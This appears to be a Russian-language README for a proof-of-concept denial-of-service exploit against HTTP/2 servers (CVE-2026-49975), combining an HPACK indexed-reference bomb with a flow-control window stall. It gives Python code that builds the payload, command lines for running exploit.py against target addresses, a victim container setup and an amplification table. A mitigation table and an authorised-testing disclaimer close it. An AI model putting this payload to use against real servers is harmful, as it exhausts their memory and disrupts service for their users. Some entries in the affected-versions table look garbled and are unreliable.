
PoC-эксплойт для уязвимости CVE-2026-49975 HTTP/2 Bomb DoS. Демонстрирует HPACK indexed reference bomb в сочетании с flow-control window stall для исчерпания памяти сервера через одно соединение.
CVE-2026-49975 — критическая уязвимость отказа в обслуживании (DoS) в реализациях HTTP/2-серверов и прокси. Атака, получившая название «HTTP/2 Bomb» или «HPACK Bomb», эксплуатирует две особенности поведения протокола HTTP/2 на уровне проектирования, чтобы вынудить цель к неограниченному потреблению памяти (OOM) и исчерпанию CPU:
Базовая оценка CVSS 3.1: 9.8 (критическая)
Вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Атака наиболее эффективна, когда два этапа дополняют друг друга, но каждый этап по отдельности достаточен против некоторых реализаций.
Сжатие заголовков HPACK в HTTP/2 использует развивающуюся динамическую таблицу. Как только крупный заголовок cookie вставлен в таблицу (через Literal+Incremental Encoding), атакующий может ссылаться на эту запись однобайтовым опкодом. Повторяющиеся ссылки заставляют декодер восстанавливать один и тот же заголовок снова и снова.
Wire: [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.
Пакет размером 5 КБ может развернуться в сотни мегабайт декодированной полезной нагрузки.
SETTINGS с INITIAL_WINDOW_SIZE=0 заставляет жертву ставить в очередь
все данные HEADERS/continuation. Атакующий медленно выдаёт
кадры WINDOW_UPDATE. Буферы остаются комбинаторно заполненными.
| Механизм | коэффициент усиления |
|---|---|
| тело raw HEADERS | 1x |
| раздувание ссылок HPACK | 20–80x |
| + параллельные потоки | 100–500x |
| + блокировка окна | 1000x+ |
| Вендор / Проект | Версия | описание |
|---|---|---|
| Apache mod_http2 | < 2.0.13 | OOM при раздувании индексированных ссылок |
| nghttp2 | < 1.62.0 | неограниченное раздувание памяти |
| h2o | < 4.0.2 | бесконечный цикл в декодере |
| Node.js http2 crate | < 1.12.0 | внутреннее расширение в nghttp2-rs |
| Go net/http (h2) | < 1.24 | зависание горутины + OSL alloc |
| Apache Traffic Server | < 9.3.0 | OOM через внутренний буфер |
| HAProxy h2 | < 2.9 | падение при превышении размера AVP |
| Envoy | < 1.30 | массивное выделение в управлении потоком |
| Rust hyper/h2 crate | < 5.14 | паника при переполнении SK |
Обратитесь к записи CVE вашего вендора для точных границ.
# Python 3.8+ with ssl support
python --version
# SSL Certificate optional; PoC sets CERT_NONE
Быстрая жертва в Docker:
docker run -d --name h2-victim -p 4433:443 \
nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null
Сопутствующий скрипт — exploit.py.
Основная процедура:
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
cookie_name = b"cookie"
cookie_value = "a=" + "y" * 128
data = bytearray()
# Step 1: insert cookie into dynamic table
data.append(0x40) # Literal+incremental
data.extend(encode_hpack_int(len(cookie_name), 7))
data.extend(cookie_name)
data.extend(encode_hpack_int(len(cookie_value), 7))
data.extend(cookie_value.encode())
# Step 2: spam Indexed refs (index 63)
for _ in range(num_headers):
data.append(0x80)
data.extend(encode_hpack_int(63, 7))
return bytes(data)
Скрипт выполняет:
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100
# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000
# Disable window stall
python exploit.py endpoint.com --no-stall
# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60
# Verbose
python exploit.py 10.0.0.5 -v
Мониторинг ресурсов жертвы:
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>
Признаки того, что атака работает:
| Подход | настройка |
|---|---|
| Ограничить заголовки на поток | MaxHeaderCount 500 |
| Отклонять низкое сжатие | порог коэффициента < 5 |
| Ограничить рост HPACK | ограничить динамическую таблицу 1 КБ |
| Память на соединение | отклонять после N МБ |
| ограничение частоты | общий conn/s, req/s |
Эта информация предназначена только для образовательных целей и авторизованного тестирования безопасности. Запускайте её только против систем, которыми вы владеете или на тестирование которых у вас есть письменное разрешение.